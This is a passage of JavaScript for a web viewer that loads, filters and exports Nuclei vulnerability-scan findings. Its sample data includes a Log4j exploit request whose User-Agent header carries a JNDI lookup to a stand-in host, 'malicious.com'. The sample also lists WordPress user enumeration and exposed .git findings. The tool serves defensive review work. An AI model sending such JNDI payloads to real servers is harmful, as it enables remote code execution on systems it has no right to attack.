14 | "name": "SSL Issuer Detection",
15 | "author": "pdteam",
16 | "severity": "info",
17 | "description": "This template detects the SSL certificate issuer for a given domain.",
18 | "tags": ["ssl", "info"]
19 | },
20 | "type": "http",
21 | "host": "example.com",
22 | "matched-at": "https://example.com",
23 | "extracted-results": ["Let's Encrypt Authority X3"],
24 | "ip": "93.184.216.34",
25 | "timestamp": "2023-04-15T12:30:45Z",
26 | "request": "GET / HTTP/1.1\r\nHost: example.com\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n",
27 | "response": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nServer: ECS\r\nContent-Length: 1256\r\n\r\nExample DomainExample Domain
"
28 | },
29 | {
30 | "template": "cve-2021-44228-log4j-rce.yaml",
31 | "template-id": "cve-2021-44228-log4j-rce",
32 | "template-path": "cves/2021/CVE-2021-44228.yaml",
33 | "info": {
34 | "name": "Apache Log4j Remote Code Execution",
35 | "author": "pdteam",
36 | "severity": "critical",
37 | "description": "Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints.",
38 | "reference": "https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
39 | "tags": ["cve", "rce", "log4j", "critical", "apache"]
40 | },
41 | "type": "http",
42 | "host": "vulnerable-app.example.com",
43 | "matched-at": "https://vulnerable-app.example.com/login",
44 | "ip": "192.168.1.10",
45 | "timestamp": "2023-04-15T14:22:18Z",
46 | "request": "POST /login HTTP/1.1\r\nHost: vulnerable-app.example.com\r\nUser-Agent: ${jndi:ldap://malicious.com/a}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 27\r\n\r\nusername=admin&password=test",
47 | "response": "HTTP/1.1 500 Internal Server Error\r\nContent-Type: text/html\r\nServer: Apache Tomcat\r\nContent-Length: 1842\r\n\r\nInternal Server Error
The server encountered an internal error and was unable to complete your request.
"
48 | },
49 | {
50 | "template": "wordpress-user-enumeration.yaml",
51 | "template-id": "wordpress-user-enum",
52 | "template-path": "vulnerabilities/wordpress/wp-user-enum.yaml",
53 | "info": {
54 | "name": "WordPress User Enumeration",
55 | "author": "pdteam",
56 | "severity": "medium",
57 | "description": "WordPress user enumeration via REST API.",
58 | "tags": ["wordpress", "user-enum", "medium"]
59 | },
60 | "type": "http",
61 | "host": "blog.example.org",
62 | "matched-at": "https://blog.example.org/wp-json/wp/v2/users",
63 | "extracted-results": ["admin", "editor"],
64 | "ip": "203.0.113.42",
65 | "timestamp": "2023-04-15T15:10:33Z",
66 | "request": "GET /wp-json/wp/v2/users HTTP/1.1\r\nHost: blog.example.org\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n",
67 | "response": "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nServer: nginx\r\nContent-Length: 1458\r\n\r\n[{\"id\":1,\"name\":\"admin\",\"url\":\"https://blog.example.org\",\"description\":\"Site Administrator\"},{\"id\":2,\"name\":\"editor\",\"url\":\"\",\"description\":\"Content Editor\"}]"
68 | },
69 | {
70 | "template": "exposed-git-directory.yaml",
71 | "template-id": "exposed-git-dir",
72 | "template-path": "exposures/configs/exposed-git-directory.yaml",
73 | "info": {
74 | "name": "Exposed Git Directory",
75 | "author": "pdteam",
76 | "severity": "high",
77 | "description": "Git directory exposure can lead to disclosure of source code.",
78 | "tags": ["exposure", "git", "config", "high"]
79 | },
80 | "type": "http",
81 | "host": "dev.example.net",
82 | "matched-at": "https://dev.example.net/.git/",
83 | "ip": "198.51.100.73",
84 | "timestamp": "2023-04-15T16:45:12Z",
85 | "request": "GET /.git/ HTTP/1.1\r\nHost: dev.example.net\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n",
86 | "response": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nServer: nginx\r\nContent-Length: 566\r\n\r\nIndex of /.git/Index of /.git/
"
87 | },
88 | {
89 | "template": "spring-actuator-heapdump.yaml",
90 | "template-id": "spring-actuator-heapdump",
91 | "template-path": "exposures/apis/spring-actuator-heapdump.yaml",
92 | "info": {
93 | "name": "Spring Boot Actuator Heapdump Exposure",
94 | "author": "pdteam",
95 | "severity": "high",
96 | "description": "Spring Boot Actuator heapdump endpoint is exposed, which can lead to sensitive memory data exposure.",
97 | "tags": ["spring", "actuator", "exposure", "high"]
98 | },
99 | "type": "http",
100 | "host": "api.example.io",
101 | "matched-at": "https://api.example.io/actuator/heapdump",
102 | "ip": "203.0.113.25",
103 | "timestamp": "2023-04-15T17:30:05Z",
104 | "request": "GET /actuator/heapdump HTTP/1.1\r\nHost: api.example.io\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n",
105 | "response": "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nServer: Apache\r\nContent-Length: 15482354\r\n\r\n[BINARY DATA]"
106 | }
107 | ];
108 |
109 | document.addEventListener('DOMContentLoaded', () => {
110 | initApp();
111 | });
112 |
113 | function initApp() {
114 | // Initialize event listeners and setup
115 | setupEventListeners();
116 | setupDragAndDrop();
117 | initTheme();
118 | initResultsView();
119 | }
120 |
121 | function setupEventListeners() {
122 | // Upload events
123 | const fileUploadInput = document.getElementById('file-upload');
124 | if (fileUploadInput) {
125 | fileUploadInput.addEventListener('change', handleFileUpload);
126 | }
127 |
128 | // Browse button click
129 | const browseBtn = document.querySelector('.browse-btn');
130 | if (browseBtn) {
131 | browseBtn.addEventListener('click', () => {
132 | fileUploadInput.click();
133 | });
134 | }
135 |
136 | // Example data
137 | const loadExampleBtn = document.getElementById('load-example-data');
138 | if (loadExampleBtn) {
139 | loadExampleBtn.addEventListener('click', loadExampleData);
140 | }
141 |
142 | // Navigation
143 | const backToHomeBtn = document.getElementById('back-to-home');
144 | if (backToHomeBtn) {
145 | backToHomeBtn.addEventListener('click', resetToHome);
146 | }
147 |
148 | const uploadNewFileBtn = document.getElementById('upload-new-file');
149 | if (uploadNewFileBtn) {
150 | uploadNewFileBtn.addEventListener('click', () => {
151 | document.getElementById('file-upload').click();
152 | });
153 | }
154 |
155 | const homeLink = document.getElementById('home-link');
156 | if (homeLink) {
157 | homeLink.addEventListener('click', (e) => {
158 | e.preventDefault();
159 | resetToHome();
160 | });
161 | }
162 |
163 | const navHome = document.getElementById('nav-home');
164 | if (navHome) {
165 | navHome.addEventListener('click', (e) => {
166 | e.preventDefault();
167 | resetToHome();
168 | });
169 | }
170 |
171 | // Filters
172 | const searchInput = document.getElementById('search');
173 | if (searchInput) {
174 | searchInput.addEventListener('input', applyFilters);
175 | }
176 |
177 | const severityFilter = document.getElementById('severity-filter');
178 | if (severityFilter) {
179 | severityFilter.addEventListener('change', applyFilters);
180 | }
181 |
182 | const tagFilter = document.getElementById('tag-filter');
183 | if (tagFilter) {
184 | tagFilter.addEventListener('input', applyFilters);
185 | }
186 |
187 | // Export
188 | const exportBtn = document.getElementById('export-btn');
189 | if (exportBtn) {
190 | exportBtn.addEventListener('click', handleExport);
191 | }
192 |
193 | // Warning before page reload/close
194 | window.addEventListener('beforeunload', function(e) {
195 | if (state.dataLoaded) {
196 | const message = 'Warning: Reloading will cause all scan data to be lost. Are you sure you want to continue?';
197 | e.returnValue = message;
198 | return message;
199 | }
200 | });
201 | }
202 |
203 | function setupDragAndDrop() {
204 | const uploadArea = document.querySelector('.upload-area');
205 | if (!uploadArea) return;
206 |
207 | uploadArea.addEventListener('dragover', (e) => {
208 | e.preventDefault();
209 | uploadArea.classList.add('dragover');
210 | });
211 |
212 | uploadArea.addEventListener('dragleave', () => {
213 | uploadArea.classList.remove('dragover');
214 | });
215 |
216 | uploadArea.addEventListener('drop', (e) => {
217 | e.preventDefault();
218 | uploadArea.classList.remove('dragover');
219 |
220 | const files = e.dataTransfer.files;
221 | if (files.length > 0) {
222 | document.getElementById('file-upload').files = files;
223 | handleFileUpload({ target: { files } });
224 | }
225 | });
226 | }
227 |
228 | //-------------------- File Upload & Parsing --------------------
229 | function handleFileUpload(e) {
230 | const files = e.target.files;
231 | if (!files || files.length === 0) return;
232 |
233 | const file = files[0];
234 | const reader = new FileReader();
235 |
236 | reader.onload = (event) => {
237 | try {
238 | const data = JSON.parse(event.target.result);
239 | processFindings(data, file.name);
240 | } catch (error) {
241 | alert('Error parsing JSON file. Please ensure it is valid JSON.');
242 | console.error('JSON parsing error:', error);
243 | }
244 | };
245 |
246 | reader.onerror = () => {
247 | alert('Error reading file. Please try again.');
248 | };
249 |
250 | reader.readAsText(file);
251 | }
252 |
253 | function processFindings(data, fileName) {
254 | // Handle both array format and newline-delimited JSON
255 | let parsedData;
256 | if (Array.isArray(data)) {
257 | parsedData = data;
258 | } else if (typeof data === 'string') {
259 | // Try to parse as newline-delimited JSON
260 | try {
261 | parsedData = data.split('\n')
262 | .filter(line => line.trim())
263 | .map(line => JSON.parse(line));
264 | } catch (e) {
265 | console.error('Failed to parse as newline-delimited JSON:', e);
266 | parsedData = [];
267 | }
268 | } else if (typeof data === 'object') {
269 | // Single finding object
270 | parsedData = [data];
271 | } else {
272 | parsedData = [];
273 | }
274 |
275 | // Update state
276 | state.scanResults = parsedData;
277 | state.dataLoaded = true;
278 |
279 | // Update UI with file info
280 | document.getElementById('file-name').textContent = fileName || 'Uploaded File';
281 | document.querySelector('.file-info').style.display = 'flex';
282 |
283 | // Show results view
284 | showResultsView();
285 |
286 | // Generate stats and apply filters
287 | generateStats();
288 | applyFilters();
289 | }
290 |
291 | //-------------------- Example Data --------------------
292 | function loadExampleData() {
293 | processFindings(exampleData, 'Example Data');
294 | }
295 |
296 | //-------------------- UI Navigation --------------------
297 | function showResultsView() {
298 | document.getElementById('welcome-screen').style.display = 'none';
299 | document.getElementById('results-view').style.display = 'block';
300 | document.querySelector('.results-header').style.display = 'flex';
301 | }
302 |
303 | function resetToHome() {
304 | document.getElementById('welcome-screen').style.display = 'block';
305 | document.getElementById('results-view').style.display = 'none';
306 | document.querySelector('.results-header').style.display = 'none';
307 |
308 | // Reset file input
309 | const fileUpload = document.getElementById('file-upload');
310 | if (fileUpload) fileUpload.value = '';
311 |
312 | // Reset file info
313 | document.getElementById('file-name').textContent = 'No file loaded';
314 | document.querySelector('.file-info').style.display = 'none';
315 |
316 | // Reset state
317 | resetState();
318 |
319 | // Clear UI
320 | clearResults();
321 | }
322 |
323 | function clearResults() {
324 | const resultsList = document.getElementById('results-list');
325 | const detailView = document.getElementById('detail-view');
326 |
327 | if (resultsList) {
328 | resultsList.innerHTML = '';
329 | }
330 |
331 | if (detailView) {
332 | detailView.innerHTML = `
333 |
334 |
335 |
Select a finding to view details
336 |
337 | `;
338 | }
339 |
340 | // Reset stats
341 | document.getElementById('total-findings').textContent = '0';
342 | document.getElementById('critical-count').textContent = '0';
343 | document.getElementById('high-count').textContent = '0';
344 | document.getElementById('medium-count').textContent = '0';
345 | document.getElementById('low-count').textContent = '0';
346 | document.getElementById('info-count').textContent = '0';
347 | document.getElementById('filtered-count').textContent = '0';
348 | }
349 |
350 | function applyFilters() {
351 | const searchTerm = document.getElementById('search')?.value.toLowerCase() || '';
352 | const severityValue = document.getElementById('severity-filter')?.value || 'all';
353 | const tagValue = document.getElementById('tag-filter')?.value.toLowerCase() || '';
354 |
355 | // Start with all findings
356 | let filtered = [...state.scanResults];
357 |
358 | // Apply severity filter
359 | if (severityValue !== 'all') {
360 | filtered = filtered.filter(result =>
361 | result.info && result.info.severity === severityValue
362 | );
363 | }
364 |
365 | // Apply tag filter
366 | if (tagValue.trim()) {
367 | filtered = filtered.filter(result => {
368 | if (!result.info || !result.info.tags) return false;
369 | return result.info.tags.some(tag =>
370 | tag.toLowerCase().includes(tagValue)
371 | );
372 | });
373 | }
374 |
375 | // Apply search filter
376 | if (searchTerm.trim()) {
377 | filtered = filtered.filter(result => {
378 | const templateName = (result.template || '').toLowerCase();
379 | const findingName = (result.info && result.info.name ? result.info.name.toLowerCase() : '');
380 | const description = (result.info && result.info.description ? result.info.description.toLowerCase() : '');
381 | const host = (result.host || '').toLowerCase();
382 |
383 | return templateName.includes(searchTerm) ||
384 | findingName.includes(searchTerm) ||
385 | description.includes(searchTerm) ||
386 | host.includes(searchTerm);
387 | });
388 | }
389 |
390 | // Update state
391 | state.filteredResults = filtered;
392 |
393 | // Update UI
394 | renderResults();
395 | updateFilteredCount();
396 | }
397 |
398 | function updateFilteredCount() {
399 | const filteredCountEl = document.getElementById('filtered-count');
400 | if (filteredCountEl) {
401 | filteredCountEl.textContent = state.filteredResults.length;
402 | }
403 | }
404 |
405 | function generateStats() {
406 | // Update count elements
407 | document.getElementById('total-findings').textContent = state.scanResults.length;
408 | document.getElementById('critical-count').textContent = countBySeverity('critical');
409 | document.getElementById('high-count').textContent = countBySeverity('high');
410 | document.getElementById('medium-count').textContent = countBySeverity('medium');
411 | document.getElementById('low-count').textContent = countBySeverity('low');
412 | document.getElementById('info-count').textContent = countBySeverity('info');
413 | document.getElementById('filtered-count').textContent = state.scanResults.length;
414 |
415 | // Generate charts
416 | initCharts();
417 | }
418 |
419 | function countBySeverity(severity) {
420 | return state.scanResults.filter(finding =>
421 | finding.info && finding.info.severity === severity
422 | ).length;
423 | }
424 |
425 | function handleExport() {
426 | const exportFormat = document.getElementById('export-format').value;
427 | const exportFiltered = document.getElementById('export-filtered').checked;
428 | const dataToExport = exportFiltered ? state.filteredResults : state.scanResults;
429 |
430 | if (dataToExport.length === 0) {
431 | alert('No findings to export.');
432 | return;
433 | }
434 |
435 | switch (exportFormat) {
436 | case 'json':
437 | exportJSON(dataToExport);
438 | break;
439 | case 'csv':
440 | exportCSV(dataToExport);
441 | break;
442 | case 'html':
443 | exportHTML(dataToExport);
444 | break;
445 | default:
446 | alert('Unsupported export format');
447 | }
448 | }
449 |
450 | function exportJSON(data) {
451 | const jsonString = JSON.stringify(data, null, 2);
452 | utils.downloadFile(jsonString, 'nuclei-findings.json', 'application/json');
453 | }
454 |
455 | function exportCSV(data) {
456 | // Define CSV headers
457 | const headers = [
458 | 'Severity',
459 | 'Template',
460 | 'Name',
461 | 'Host',
462 | 'IP',
463 | 'Timestamp',
464 | 'Tags'
465 | ];
466 |
467 | // Convert findings to CSV rows
468 | const rows = data.map(finding => {
469 | return [
470 | finding.info?.severity || 'unknown',
471 | finding.template || '',
472 | finding.info?.name || '',
473 | finding.host || finding['matched-at'] || '',
474 | finding.ip || '',
475 | finding.timestamp || '',
476 | finding.info?.tags ? finding.info.tags.join(', ') : ''
477 | ];
478 | });
479 |
480 | // Combine headers and rows
481 | const csvContent = [
482 | headers.join(','),
483 | ...rows.map(row => row.map(cell => `"${(cell || '').toString().replace(/"/g, '""')}"`).join(','))
484 | ].join('\n');
485 |
486 | utils.downloadFile(csvContent, 'nuclei-findings.csv', 'text/csv');
487 | }
488 |
489 | function exportHTML(data) {
490 | // Create HTML template
491 | const htmlTemplate = `
492 |
493 |
494 |
495 |
496 |
497 | Nuclei Scan Results
498 |
622 |
623 |
624 | Nuclei Scan Results
625 |
626 |
627 |
628 |
${data.length}
629 |
Total
630 |
631 |
632 |
${data.filter(f => f.info?.severity === 'critical').length}
633 |
Critical
634 |
635 |
636 |
${data.filter(f => f.info?.severity === 'high').length}
637 |
High
638 |
639 |
640 |
${data.filter(f => f.info?.severity === 'medium').length}
641 |
Medium
642 |
643 |
644 |
${data.filter(f => f.info?.severity === 'low').length}
645 |
Low
646 |
647 |
648 |
${data.filter(f => f.info?.severity === 'info').length}
649 |
Info
650 |
651 |
652 |
653 |
654 | ${data.map(finding => {
655 | const severity = finding.info?.severity || 'info';
656 | const title = finding.info?.name || finding.template || 'Unknown';
657 | const description = finding.info?.description || 'No description available';
658 | const host = finding.host || finding['matched-at'] || 'Unknown Host';
659 | const ip = finding.ip || 'Unknown IP';
660 | const timestamp = finding.timestamp ? new Date(finding.timestamp).toLocaleString() : 'Unknown Time';
661 | const tags = finding.info?.tags || [];
662 | const references = finding.info?.reference ?
663 | (Array.isArray(finding.info.reference) ? finding.info.reference : [finding.info.reference]) : [];
664 |
665 | return `
666 |
667 |
671 |
672 |
686 |
687 |
688 | ${tags.map(tag => `${utils.escapeHtml(tag)}`).join('')}
689 |
690 |
691 |
692 |
Description
693 |
${utils.escapeHtml(description)}
694 |
695 |
696 | ${references.length > 0 ? `
697 |
698 |
References
699 |
702 |
703 | ` : ''}
704 |
705 | ${finding.request ? `
706 |
707 |
Request
708 |
${utils.escapeHtml(finding.request)}
709 |
710 | ` : ''}
711 |
712 | ${finding.response ? `
713 |
714 |
Response
715 |
${utils.escapeHtml(finding.response)}
716 |
717 | ` : ''}
718 |
719 | ${finding['extracted-results'] ? `
720 |
721 |
Extracted Results
722 |
${Array.isArray(finding['extracted-results']) ?
723 | finding['extracted-results'].map(result => utils.escapeHtml(result)).join('
') :
724 | utils.escapeHtml(finding['extracted-results'])}
725 |
726 |
727 | ` : ''}
728 |
729 | `;
730 | }).join('')}
731 |
732 |
733 |
736 |
737 |
738 | `;
739 |
740 | utils.downloadFile(htmlTemplate, 'nuclei-findings.html', 'text/html');
741 | }
742 |
--------------------------------------------------------------------------------